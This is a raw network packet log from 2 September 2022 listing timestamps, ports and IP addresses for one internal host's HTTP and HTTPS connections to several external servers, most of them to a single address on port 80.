Sep 2, 2022 14:02:24.259305000 CEST	49801	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:24.259316921 CEST	443	49801	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:24.344938993 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:24.345047951 CEST	49800	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:24.345082045 CEST	443	49800	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:24.392257929 CEST	443	49801	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:24.392431974 CEST	49801	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:24.738653898 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:24.738723040 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.102886915 CEST	80	49758	116.203.105.117	192.168.2.6
Sep 2, 2022 14:02:25.106086969 CEST	49758	80	192.168.2.6	116.203.105.117
Sep 2, 2022 14:02:25.108041048 CEST	49801	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:25.108083963 CEST	443	49801	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:25.108129025 CEST	49758	80	192.168.2.6	116.203.105.117
Sep 2, 2022 14:02:25.130074024 CEST	80	49758	116.203.105.117	192.168.2.6
Sep 2, 2022 14:02:25.243436098 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:25.247153044 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:25.247180939 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:25.247279882 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:25.248387098 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:25.248485088 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:25.248589993 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:25.249842882 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:25.249866962 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:25.250667095 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:25.250705004 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:25.251761913 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.253019094 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.253882885 CEST	49801	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:25.253925085 CEST	443	49801	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:25.286891937 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.288465977 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.338010073 CEST	443	49801	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:25.338113070 CEST	443	49801	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:25.338260889 CEST	49801	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:25.349555969 CEST	443	49802	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:25.351038933 CEST	49802	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:25.383480072 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:25.383570910 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:25.417148113 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.417193890 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.417227983 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.417233944 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.417259932 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.417345047 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.418427944 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.418469906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.418498993 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.418513060 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.418529987 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.418538094 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.418577909 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.418606997 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.418632984 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.420370102 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.420413971 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.420440912 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.420444012 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.420480013 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.420481920 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.420522928 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.420550108 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.420569897 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.420593977 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.421488047 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.421542883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.421571970 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.421603918 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.421624899 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.421648979 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.421664953 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.421693087 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.421693087 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.421731949 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.422266960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.422308922 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.422337055 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.422435045 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.422441959 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.422511101 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.422538042 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.422586918 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.423739910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.423782110 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.423810959 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.423851967 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.423893929 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.423932076 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.423960924 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.423963070 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.423998117 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.425663948 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.425707102 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.425734043 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.425735950 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.425770998 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.425774097 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.425813913 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.425841093 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.425863981 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.425906897 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.426033974 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.426075935 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.426103115 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.426137924 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.426317930 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.426359892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.426386118 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.426424980 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.427087069 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.427151918 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.427181959 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.427203894 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.427242994 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.427303076 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.427400112 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.427424908 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.427432060 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.427491903 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.427723885 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.427767038 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.427791119 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.427794933 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.427835941 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.428005934 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.428056955 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.428087950 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.428153038 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.428719044 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.428765059 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.428792953 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.428808928 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.428831100 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.428870916 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.428889036 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.428898096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.428914070 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.428970098 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.429172993 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.429241896 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.429270983 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.429317951 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.429431915 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.429477930 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.429496050 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.429542065 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.429580927 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.429790020 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.429832935 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.429858923 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.429860115 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.429965973 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.430036068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.430078030 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.430100918 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.430116892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.430130959 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.430145979 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.430165052 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.430433989 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.430471897 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.430490017 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.430495024 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.430525064 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.430757046 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.430794954 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.430818081 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.430850983 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.430882931 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.431075096 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.431123018 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.431145906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.431190968 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.431466103 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.431502104 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.431524038 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.431574106 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.432033062 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.432068110 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.432090998 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.432096004 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.432116032 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.432306051 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.432339907 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.432363033 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.432389021 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.432945013 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.432981014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.433003902 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.433037996 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.433056116 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.433090925 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.433094025 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.433108091 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.433116913 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.433156013 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.433448076 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.433485031 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.433507919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.433528900 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.433557987 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.433705091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.433777094 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.433780909 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.433803082 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.433835983 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.434022903 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.434057951 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.434081078 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.434087038 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.434124947 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.434386015 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.434423923 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.434448957 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.434493065 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.434726000 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.434763908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.434815884 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.434864044 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.435028076 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.435062885 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.435086966 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.435127020 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.436316967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.436352968 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.436374903 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.436384916 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.436417103 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.436431885 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.436453104 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.436475039 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.436520100 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.436562061 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.437225103 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.437261105 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.437283993 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.437323093 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.437802076 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.437869072 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.437896013 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.437901974 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.437983990 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.438399076 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.438440084 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.438462973 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.438472033 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.438513994 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.438673973 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.438711882 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.438741922 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.438756943 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.438776970 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.440021992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.440064907 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.440089941 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.440099955 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.440120935 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.440123081 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.440157890 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.440174103 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.440181017 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.440232992 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.440591097 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.440618038 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.440634966 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.440685034 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.440695047 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.440721989 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.440740108 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.440795898 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.441915989 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.441943884 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.441962957 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.442007065 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.442039013 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.442183971 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.442230940 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.442248106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.442261934 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.442305088 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.442591906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.442619085 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.442636013 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.442675114 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.442842960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.442874908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.442893028 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.442931890 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.444343090 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.444369078 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.444387913 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.444406986 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.444411993 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.444443941 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.444454908 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.444462061 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.444473028 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.444550991 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.444729090 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.444753885 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.444772959 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.444792986 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.444816113 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.444976091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.445024967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.445044994 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.445079088 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.445122004 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.446261883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.446290970 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.446307898 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.446369886 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.446441889 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.446500063 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.446535110 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.446554899 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.446693897 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.446813107 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.446839094 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.446856022 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.446875095 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.446897030 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.447174072 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.447201014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.447221994 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.447237968 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.447256088 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.447607040 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.447659969 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:25.447690010 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.447710037 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.447735071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:25.447741985 CEST	49787	80	192.168.2.6	85.209.157.230
